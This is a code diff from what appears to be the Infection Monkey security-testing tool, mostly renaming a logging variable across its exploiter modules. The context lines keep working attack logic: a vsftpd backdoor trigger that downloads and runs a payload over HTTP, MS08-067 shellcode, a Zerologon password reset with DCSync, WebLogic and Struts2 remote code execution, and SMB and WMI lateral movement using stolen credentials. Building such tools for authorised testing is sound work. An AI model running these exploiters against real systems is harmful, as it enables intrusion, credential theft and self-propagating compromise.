@ -13,7 +13,7 @@ import urllib.request
from infection_monkey.exploit.web_rce import WebRCE
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
@ -53,7 +53,7 @@ class Struts2Exploiter(WebRCE):
request, context=ssl._create_unverified_context() # noqa: DUO122
).geturl()
except urllib.error.URLError:
LOG.error("Can't reach struts2 server")
logger.error("Can't reach struts2 server")
return False
def exploit(self, url, cmd):

View File

@ -1,6 +1,6 @@
import logging
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
def try_get_target_monkey(host):
@ -60,7 +60,7 @@ def get_monkey_dest_path(url_to_monkey):
from infection_monkey.config import WormConfiguration
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
logger.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if "linux" in url_to_monkey:
@ -70,13 +70,13 @@ def get_monkey_dest_path(url_to_monkey):
elif "windows-64" in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error(
logger.error(
"Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen."
)
return False
except AttributeError:
LOG.error(
logger.error(
"Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey"
)

View File

@ -13,7 +13,7 @@ from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.transport import HTTPServer, LockedHTTPServer
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
class HTTPTools(object):
@ -45,7 +45,7 @@ class HTTPTools(object):
)
if not http_path:
raise Exception("Http transfer creation failed.")
LOG.info("Started http server on %s", http_path)
logger.info("Started http server on %s", http_path)
return http_path, http_thread
@staticmethod
@ -68,7 +68,7 @@ class HTTPTools(object):
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)

View File

@ -1,8 +1,5 @@
import logging
import textwrap
LOG = logging.getLogger(__name__)
class Payload(object):
"""

View File

@ -13,7 +13,7 @@ from infection_monkey.config import Configuration
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
class SmbTools(object):
@ -33,7 +33,7 @@ class SmbTools(object):
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug(
logger.debug(
"Connection to %r granted guest privileges with user: %s, password (SHA-512): "
"'%s',"
" LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
@ -54,7 +54,7 @@ class SmbTools(object):
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s", host, exc)
logger.debug("Error requesting server info from %r over SMB: %s", host, exc)
return None
info = {
@ -66,12 +66,12 @@ class SmbTools(object):
"simultaneous_users": resp["InfoStruct"]["ServerInfo102"]["sv102_users"],
}
LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info))
logger.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info))
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s", host, exc)
logger.debug("Error enumerating server shares from %r over SMB: %s", host, exc)
return None
resp = resp["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"]
@ -87,14 +87,14 @@ class SmbTools(object):
max_uses = resp[i]["shi2_max_uses"]
if current_uses >= max_uses:
LOG.debug(
logger.debug(
"Skipping share '%s' on victim %r because max uses is exceeded",
share_name,
host,
)
continue
elif not share_path:
LOG.debug(
logger.debug(
"Skipping share '%s' on victim %r because share path is invalid",
share_name,
host,
@ -125,12 +125,12 @@ class SmbTools(object):
try:
smb.connectTree(share_name)
except Exception as exc:
LOG.debug(
logger.debug(
"Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc
)
continue
LOG.debug(
logger.debug(
"Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name,
share_path,
@ -146,10 +146,10 @@ class SmbTools(object):
file_info = smb.listPath(share_name, remote_path)
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
logger.debug("Remote monkey file is same as source, skipping copy")
return remote_full_path
LOG.debug(
logger.debug(
"Remote monkey file is found but different, moving along with " "attack"
)
except Exception:
@ -165,7 +165,7 @@ class SmbTools(object):
T1105Telem(
ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path
).send()
LOG.info(
logger.info(
"Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path,
share_name,
@ -175,7 +175,7 @@ class SmbTools(object):
break
except Exception as exc:
LOG.debug(
logger.debug(
"Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc
)
T1105Telem(
@ -194,7 +194,7 @@ class SmbTools(object):
smb = None
if not file_uploaded:
LOG.debug(
logger.debug(
"Couldn't find a writable share for exploiting victim %r with "
"username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
"SHA-512): %s",
@ -213,12 +213,14 @@ class SmbTools(object):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc)
logger.debug(
"SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc
)
try:
smb = SMBConnection("*SMBSERVER", host.ip_addr, sess_port=139)
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc)
logger.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc)
return None, None
dialect = {
@ -231,7 +233,7 @@ class SmbTools(object):
try:
smb.login(username, password, "", lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug(
logger.debug(
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
"LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
host,

View File

@ -5,7 +5,7 @@ from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
class AccessDeniedException(Exception):
@ -119,7 +119,7 @@ class WmiTools(object):
if where:
wql_query += " WHERE %s" % (where,)
LOG.debug("Execution WQL query: %r", wql_query)
logger.debug("Execution WQL query: %r", wql_query)
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)

View File

@ -23,7 +23,7 @@ from infection_monkey.model import (
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.commands import build_monkey_commandline
LOG = getLogger(__name__)
logger = getLogger(__name__)
FTP_PORT = 21 # port at which vsftpd runs
@ -51,7 +51,7 @@ class VSFTPDExploiter(HostExploiter):
s.connect((ip_addr, port))
return True
except socket.error as e:
LOG.info("Failed to connect to %s: %s", self.host.ip_addr, str(e))
logger.info("Failed to connect to %s: %s", self.host.ip_addr, str(e))
return False
def socket_send_recv(self, s, message):
@ -59,7 +59,7 @@ class VSFTPDExploiter(HostExploiter):
s.send(message)
return s.recv(RECV_128).decode("utf-8")
except socket.error as e:
LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
return False
def socket_send(self, s, message):
@ -67,11 +67,11 @@ class VSFTPDExploiter(HostExploiter):
s.send(message)
return True
except socket.error as e:
LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
return False
def _exploit_host(self):
LOG.info("Attempting to trigger the Backdoor..")
logger.info("Attempting to trigger the Backdoor..")
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
@ -81,50 +81,50 @@ class VSFTPDExploiter(HostExploiter):
time.sleep(FTP_TIME_BUFFER)
self.socket_send(ftp_socket, PASSWORD + b"\n")
ftp_socket.close()
LOG.info("Backdoor Enabled, Now we can run commands")
logger.info("Backdoor Enabled, Now we can run commands")
else:
LOG.error("Failed to trigger backdoor on %s", self.host.ip_addr)
logger.error("Failed to trigger backdoor on %s", self.host.ip_addr)
return False
LOG.info("Attempting to connect to backdoor...")
logger.info("Attempting to connect to backdoor...")
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
LOG.info("Connected to backdoor on %s:6200", self.host.ip_addr)
logger.info("Connected to backdoor on %s:6200", self.host.ip_addr)
uname_m = str.encode(UNAME_M + "\n")
response = self.socket_send_recv(backdoor_socket, uname_m)
if response:
LOG.info("Response for uname -m: %s", response)
logger.info("Response for uname -m: %s", response)
if "" != response.lower().strip():
# command execution is successful
self.host.os["machine"] = response.lower().strip()
self.host.os["type"] = "linux"
else:
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
logger.info("Failed to execute command uname -m on victim %r ", self.host)
src_path = get_target_monkey(self.host)
LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
logger.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
logger.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Create a http server to host the monkey
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
dropper_target_path_linux = self._config.dropper_target_path_linux
LOG.info("Download link for monkey is %s", http_path)
logger.info("Download link for monkey is %s", http_path)
# Upload the monkey to the machine
monkey_path = dropper_target_path_linux
download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path}
download_command = str.encode(str(download_command) + "\n")
LOG.info("Download command is %s", download_command)
logger.info("Download command is %s", download_command)
if self.socket_send(backdoor_socket, download_command):
LOG.info("Monkey is now Downloaded ")
logger.info("Monkey is now Downloaded ")
else:
LOG.error("Failed to download monkey at %s", self.host.ip_addr)
logger.error("Failed to download monkey at %s", self.host.ip_addr)
return False
http_thread.join(DOWNLOAD_TIMEOUT)
@ -133,7 +133,7 @@ class VSFTPDExploiter(HostExploiter):
# Change permissions
change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
change_permission = str.encode(str(change_permission) + "\n")
LOG.info("change_permission command is %s", change_permission)
logger.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
@ -150,11 +150,11 @@ class VSFTPDExploiter(HostExploiter):
# Set unlimited to memory
# we don't have to revert the ulimit because it just applies to the shell obtained by our
# exploit
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
run_monkey = ULIMIT_V + UNLIMITED + " " + run_monkey
run_monkey = str.encode(str(run_monkey) + "\n")
time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey):
LOG.info(
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.host,

View File

@ -4,6 +4,7 @@ from abc import abstractmethod
from posixpath import join
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.http_tools import HTTPTools
@ -26,13 +27,10 @@ from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
# Command used to check if monkeys already exists
LOOK_FOR_FILE = "ls %s"
POWERSHELL_NOT_FOUND = "powershell is not recognized"
# Constants used to refer to windows architectures( used in host.os['machine'])
WIN_ARCH_32 = "32"
WIN_ARCH_64 = "64"
class WebRCE(HostExploiter):
@ -116,7 +114,7 @@ class WebRCE(HostExploiter):
and self.skip_exist
and self.check_remote_files(self.target_url)
):
LOG.info(
logger.info(
"Host %s was already infected under the current configuration, done" % self.host
)
return True
@ -192,7 +190,7 @@ class WebRCE(HostExploiter):
# Format command
command = command % {"monkey_path": path, "http_path": http_path}
except KeyError:
LOG.error(
logger.error(
"Provided command is missing/bad for this type of host! "
"Check upload_monkey function docs before using custom monkey's upload "
"commands."
@ -215,7 +213,7 @@ class WebRCE(HostExploiter):
else:
return False
except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e)
logger.error("Host's exploitability check failed due to: %s" % e)
return False
def build_potential_urls(self, ports, extensions=None):
@ -243,7 +241,7 @@ class WebRCE(HostExploiter):
join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
)
if not url_list:
LOG.info("No attack url's were built")
logger.info("No attack url's were built")
return url_list
def add_vulnerable_urls(self, urls, stop_checking=False):
@ -261,7 +259,7 @@ class WebRCE(HostExploiter):
if stop_checking:
break
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found, skipping.")
logger.info("No vulnerable urls found, skipping.")
def get_host_arch(self, url):
"""
@ -276,12 +274,12 @@ class WebRCE(HostExploiter):
try:
arch = arch.group(1)
except AttributeError:
LOG.error("Looked for linux architecture but could not find it")
logger.error("Looked for linux architecture but could not find it")
return False
if arch:
return arch
else:
LOG.info("Could not pull machine architecture string from command's output")
logger.info("Could not pull machine architecture string from command's output")
return False
else:
return False
@ -301,7 +299,7 @@ class WebRCE(HostExploiter):
if "No such file" in resp:
return False
else:
LOG.info(
logger.info(
"Host %s was already infected under the current configuration, done"
% str(self.host)
)
@ -333,7 +331,7 @@ class WebRCE(HostExploiter):
"""
ports = self.get_open_service_ports(ports, names)
if not ports:
LOG.info("All default web ports are closed on %r, skipping", str(self.host))
logger.info("All default web ports are closed on %r, skipping", str(self.host))
return False
else:
return ports
@ -341,7 +339,7 @@ class WebRCE(HostExploiter):
def set_host_arch(self, url):
arch = self.get_host_arch(url)
if not arch:
LOG.error("Couldn't get host machine's architecture")
logger.error("Couldn't get host machine's architecture")
return False
else:
self.host.os["machine"] = arch
@ -358,7 +356,7 @@ class WebRCE(HostExploiter):
:return: Command's response (same response if backup command is not needed)
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
logger.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = BITSADMIN_CMDLINE_HTTP % {
"monkey_path": dest_path,
"http_path": http_path,
@ -375,9 +373,9 @@ class WebRCE(HostExploiter):
Command must have "monkey_path" and "http_path" format parameters.
:return: {'response': response/False, 'path': monkeys_path_in_host}
"""
LOG.info("Trying to upload monkey to the host.")
logger.info("Trying to upload monkey to the host.")
if not self.host.os["type"]:
LOG.error("Unknown target's os type. Skipping.")
logger.error("Unknown target's os type. Skipping.")
return False
paths = self.get_monkey_paths()
if not paths:
@ -385,9 +383,9 @@ class WebRCE(HostExploiter):
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
logger.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
logger.info("Started http server on %s", http_path)
# Choose command:
if not commands:
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
@ -398,7 +396,7 @@ class WebRCE(HostExploiter):
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Uploading process finished")
logger.info("Uploading process finished")
# If response is false exploiter failed
if resp is False:
return resp
@ -413,9 +411,9 @@ class WebRCE(HostExploiter):
:param command: Formatted command for permission change or None
:return: response, False if failed and True if permission change is not needed
"""
LOG.info("Changing monkey's permissions")
logger.info("Changing monkey's permissions")
if "windows" in self.host.os["type"]:
LOG.info("Permission change not required for windows")
logger.info("Permission change not required for windows")
return True
if not command:
command = CHMOD_MONKEY % {"monkey_path": path}
@ -423,23 +421,23 @@ class WebRCE(HostExploiter):
resp = self.exploit(url, command)
T1222Telem(ScanStatus.USED, command, self.host).send()
except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e)
logger.error("Something went wrong while trying to change permission: %s" % e)
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
return False
# If exploiter returns True / False
if isinstance(resp, bool):
LOG.info("Permission change finished")
logger.info("Permission change finished")
return resp
# If exploiter returns command output, we can check for execution errors
if "Operation not permitted" in resp:
LOG.error("Missing permissions to make monkey executable")
logger.error("Missing permissions to make monkey executable")
return False
elif "No such file or directory" in resp:
LOG.error(
logger.error(
"Could not change permission because monkey was not found. Check path " "parameter."
)
return False
LOG.info("Permission change finished")
logger.info("Permission change finished")
return resp
def execute_remote_monkey(self, url, path, dropper=False):
@ -450,7 +448,7 @@ class WebRCE(HostExploiter):
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
:return: Response or False if failed
"""
LOG.info("Trying to execute remote monkey")
logger.info("Trying to execute remote monkey")
# Get monkey command line
if dropper and path:
# If dropper is chosen we try to move monkey to default location
@ -475,24 +473,24 @@ class WebRCE(HostExploiter):
"parameters": monkey_cmd,
}
try:
LOG.info("Trying to execute monkey using command: {}".format(command))
logger.info("Trying to execute monkey using command: {}".format(command))
resp = self.exploit(url, command)
# If exploiter returns True / False
if isinstance(resp, bool):
LOG.info("Execution attempt successfully finished")
logger.info("Execution attempt successfully finished")
self.add_executed_cmd(command)
return resp
# If exploiter returns command output, we can check for execution errors
if "is not recognized" in resp or "command not found" in resp:
LOG.error("Wrong path chosen or other process already deleted monkey")
logger.error("Wrong path chosen or other process already deleted monkey")
return False
elif "The system cannot execute" in resp:
LOG.error("System could not execute monkey")
logger.error("System could not execute monkey")
return False
except Exception as e:
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
logger.error("Something went wrong when trying to execute remote monkey: %s" % e)
return False
LOG.info("Execution attempt finished")
logger.info("Execution attempt finished")
self.add_executed_cmd(command)
return resp
@ -505,7 +503,7 @@ class WebRCE(HostExploiter):
:return: Corresponding monkey path from self.monkey_target_paths
"""
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
LOG.error(
logger.error(
"Can't get destination path because source path %s is invalid.", url_to_monkey
)
return False
@ -517,13 +515,13 @@ class WebRCE(HostExploiter):
elif "windows-64" in url_to_monkey:
return self.monkey_target_paths["win64"]
else:
LOG.error(
logger.error(
"Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen."
)
return False
except KeyError:
LOG.error(
logger.error(
'Unknown key was found. Please use "linux", "win32" and "win64" keys to '
"initialize "
"custom dict of monkey's destination paths"
@ -537,7 +535,7 @@ class WebRCE(HostExploiter):
"""
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
logger.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Determine which destination path to use
dest_path = self.get_monkey_upload_path(src_path)
@ -554,7 +552,7 @@ class WebRCE(HostExploiter):
if not self.host.os.get("type") or (
self.host.os["type"] != "linux" and self.host.os["type"] != "windows"
):
LOG.error("Target's OS was either unidentified or not supported. Aborting")
logger.error("Target's OS was either unidentified or not supported. Aborting")
return False
if self.host.os["type"] == "linux":
return self._config.dropper_target_path_linux
@ -563,7 +561,7 @@ class WebRCE(HostExploiter):
if self.host.os["machine"] == WIN_ARCH_64:
return self._config.dropper_target_path_win_64
except KeyError:
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
logger.debug("Target's machine type was not set. Using win-32 dropper path.")
return self._config.dropper_target_path_win_32
def get_target_url(self):

View File

@ -11,7 +11,7 @@ from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.tools import get_interface_to_target
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should we wait after each request in seconds
@ -85,7 +85,7 @@ class WebLogic201710271(WebRCE):
url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False
)
except Exception as e:
LOG.error("Connection error: %s" % e)
logger.error("Connection error: %s" % e)
return False
return True
@ -112,7 +112,7 @@ class WebLogic201710271(WebRCE):
self.vulnerable_urls.extend(urls)
self.exploit_info["vulnerable_urls"] = self.vulnerable_urls
else:
LOG.info("No vulnerable urls found, skipping.")
logger.info("No vulnerable urls found, skipping.")
self._stop_http_server(httpd, lock)
@ -126,7 +126,7 @@ class WebLogic201710271(WebRCE):
# Our request will not get response thus we get ReadTimeout error
pass
except Exception as e:
LOG.error("Something went wrong: %s" % e)
logger.error("Something went wrong: %s" % e)
return httpd.get_requests > 0
def _start_http_server(self):
@ -234,10 +234,10 @@ class WebLogic201710271(WebRCE):
class S(BaseHTTPRequestHandler):
@staticmethod
def do_GET():
LOG.info("Server received a request from vulnerable machine")
logger.info("Server received a request from vulnerable machine")
self.get_requests += 1
LOG.info("Server waiting for exploited machine request...")
logger.info("Server waiting for exploited machine request...")
httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True
self.lock.release()
@ -286,7 +286,7 @@ class WebLogic20192725(WebRCE):
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
return resp
except Exception as e:
LOG.error("Connection error: %s" % e)
logger.error("Connection error: %s" % e)
return False
def check_if_exploitable(self, url):

View File

@ -24,7 +24,7 @@ from infection_monkey.network.tools import check_tcp_port
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.random_password_generator import get_random_password
LOG = getLogger(__name__)
logger = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444
OBFUSCATED_SHELLCODE = (
@ -140,11 +140,11 @@ class SRVSVC_Exploit(object):
target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target
LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
logger.debug("Initiating exploit connection (%s)", target_rpc_name)
self._trans = transport.DCERPCTransportFactory(target_rpc_name)
self._trans.connect()
LOG.debug("Connected to %s", target_rpc_name)
logger.debug("Connected to %s", target_rpc_name)
self._dce = self._trans.DCERPC_class(self._trans)
self._dce.bind(uuid.uuidtup_to_bin(("4b324fc8-1670-01d3-1278-5a47bf6ee188", "3.0")))
@ -152,8 +152,8 @@ class SRVSVC_Exploit(object):
dce_packet = self._build_dce_packet()
self._dce.call(0x1F, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation
LOG.debug("Exploit sent to %s successfully...", self._target)
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
logger.debug("Exploit sent to %s successfully...", self._target)
logger.debug("Target machine should be listening over port %d now", self.get_telnet_port())
sock = socket.socket()
sock.connect((self._target, self.get_telnet_port()))
@ -220,7 +220,7 @@ class Ms08_067_Exploiter(HostExploiter):
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
logger.info("Can't find suitable monkey executable for host %r", self.host)
return False
os_version = self._windows_versions.get(
@ -246,15 +246,15 @@ class Ms08_067_Exploiter(HostExploiter):
time.sleep(2)
sock.recv(1000)
LOG.debug("Exploited into %r using MS08-067", self.host)
logger.debug("Exploited into %r using MS08-067", self.host)
exploited = True
break
except Exception as exc:
LOG.debug("Error exploiting victim %r: (%s)", self.host, exc)
logger.debug("Error exploiting victim %r: (%s)", self.host, exc)
continue
if not exploited:
LOG.debug("Exploiter MS08-067 is giving up...")
logger.debug("Exploiter MS08-067 is giving up...")
return False
# copy the file remotely using SMB
@ -303,7 +303,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send(("start %s\r\n" % (cmdline,)).encode())
sock.send(("net user %s /delete\r\n" % (self._config.user_to_add,)).encode())
except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
logger.debug(
"Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc
)
return True
finally:
try:
@ -311,7 +313,7 @@ class Ms08_067_Exploiter(HostExploiter):
except socket.error:
pass
LOG.info(
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path,
self.host,

View File

@ -13,7 +13,7 @@ from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiT
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
@ -30,7 +30,7 @@ class WmiExploiter(HostExploiter):
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
logger.info("Can't find suitable monkey executable for host %r", self.host)
return False
creds = self._config.get_exploit_user_password_or_hash_product()
@ -43,7 +43,9 @@ class WmiExploiter(HostExploiter):
"user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): "
"({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed)
)
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
logger.debug(
("Attempting to connect %r using WMI with " % self.host) + creds_for_logging
)
wmi_connection = WmiTools.WmiConnection()
@ -51,23 +53,23 @@ class WmiExploiter(HostExploiter):
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
except AccessDeniedException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug(
logger.debug(
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
)
continue
except DCERPCException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug(
logger.debug(
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
)
continue
except socket.error:
LOG.debug(
logger.debug(
("Network error in WMI connection to %r with " % self.host) + creds_for_logging
)
return False
except Exception as exc:
LOG.debug(
logger.debug(
("Unknown WMI connection error to %r with " % self.host)
+ creds_for_logging
+ (" (%s):\n%s" % (exc, traceback.format_exc()))
@ -86,7 +88,7 @@ class WmiExploiter(HostExploiter):
if process_list:
wmi_connection.close()
LOG.debug("Skipping %r - already infected", self.host)
logger.debug("Skipping %r - already infected", self.host)
return False
# copy the file remotely using SMB
@ -127,7 +129,7 @@ class WmiExploiter(HostExploiter):
)
if (0 != result.ProcessId) and (not result.ReturnValue):
LOG.info(
logger.info(
"Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
remote_full_path,
self.host,
@ -138,7 +140,7 @@ class WmiExploiter(HostExploiter):
self.add_vuln_port(port="unknown")
success = True
else:
LOG.debug(
logger.debug(
"Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, "
"cmdline=%r)",
remote_full_path,

View File

@ -23,7 +23,7 @@ from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_deta
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
from infection_monkey.utils.capture_output import StdoutCapture
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
class ZerologonExploiter(HostExploiter):
@ -50,16 +50,16 @@ class ZerologonExploiter(HostExploiter):
can_exploit, rpc_con = is_exploitable(self)
if can_exploit:
LOG.info("Target vulnerable, changing account password to empty string.")
logger.info("Target vulnerable, changing account password to empty string.")
# Start exploiting attempts.
LOG.debug("Attempting exploit.")
logger.debug("Attempting exploit.")
_exploited = self._send_exploit_rpc_login_requests(rpc_con)
rpc_con.disconnect()
else:
LOG.info(
logger.info(
"Exploit not attempted. Target is most likely patched, or an error was "
"encountered."
)
@ -70,12 +70,12 @@ class ZerologonExploiter(HostExploiter):
if self.restore_password():
self.exploit_info["password_restored"] = True
self.store_extracted_creds_for_exploitation()
LOG.info("System exploited and password restored successfully.")
logger.info("System exploited and password restored successfully.")
else:
self.exploit_info["password_restored"] = False
LOG.info("System exploited but couldn't restore password!")
logger.info("System exploited but couldn't restore password!")
else:
LOG.info("System was not exploited.")
logger.info("System was not exploited.")
return _exploited
@ -105,9 +105,9 @@ class ZerologonExploiter(HostExploiter):
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
logger.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
logger.info(f"Unexpected error: {e}")
def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object:
request = nrpc.NetrServerPasswordSet2()
@ -133,11 +133,11 @@ class ZerologonExploiter(HostExploiter):
if exploit_attempt_result["ErrorCode"] == 0:
self.report_login_attempt(result=True, user=self.dc_name)
_exploited = True
LOG.info("Exploit complete!")
logger.info("Exploit complete!")
else:
self.report_login_attempt(result=False, user=self.dc_name)
_exploited = False
LOG.info(
logger.info(
f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something "
f"went wrong."
)
@ -146,19 +146,19 @@ class ZerologonExploiter(HostExploiter):
return False
def restore_password(self) -> bool:
LOG.info("Restoring original password...")
logger.info("Restoring original password...")
try:
rpc_con = None
# DCSync to get usernames and their passwords' hashes.
LOG.debug("DCSync; getting usernames and their passwords' hashes.")
logger.debug("DCSync; getting usernames and their passwords' hashes.")
user_creds = self.get_all_user_creds()
if not user_creds:
raise Exception("Couldn't extract any usernames and/or their passwords' hashes.")
# Use above extracted credentials to get original DC password's hashes.
LOG.debug("Getting original DC password's NT hash.")
logger.debug("Getting original DC password's NT hash.")
original_pwd_nthash = None
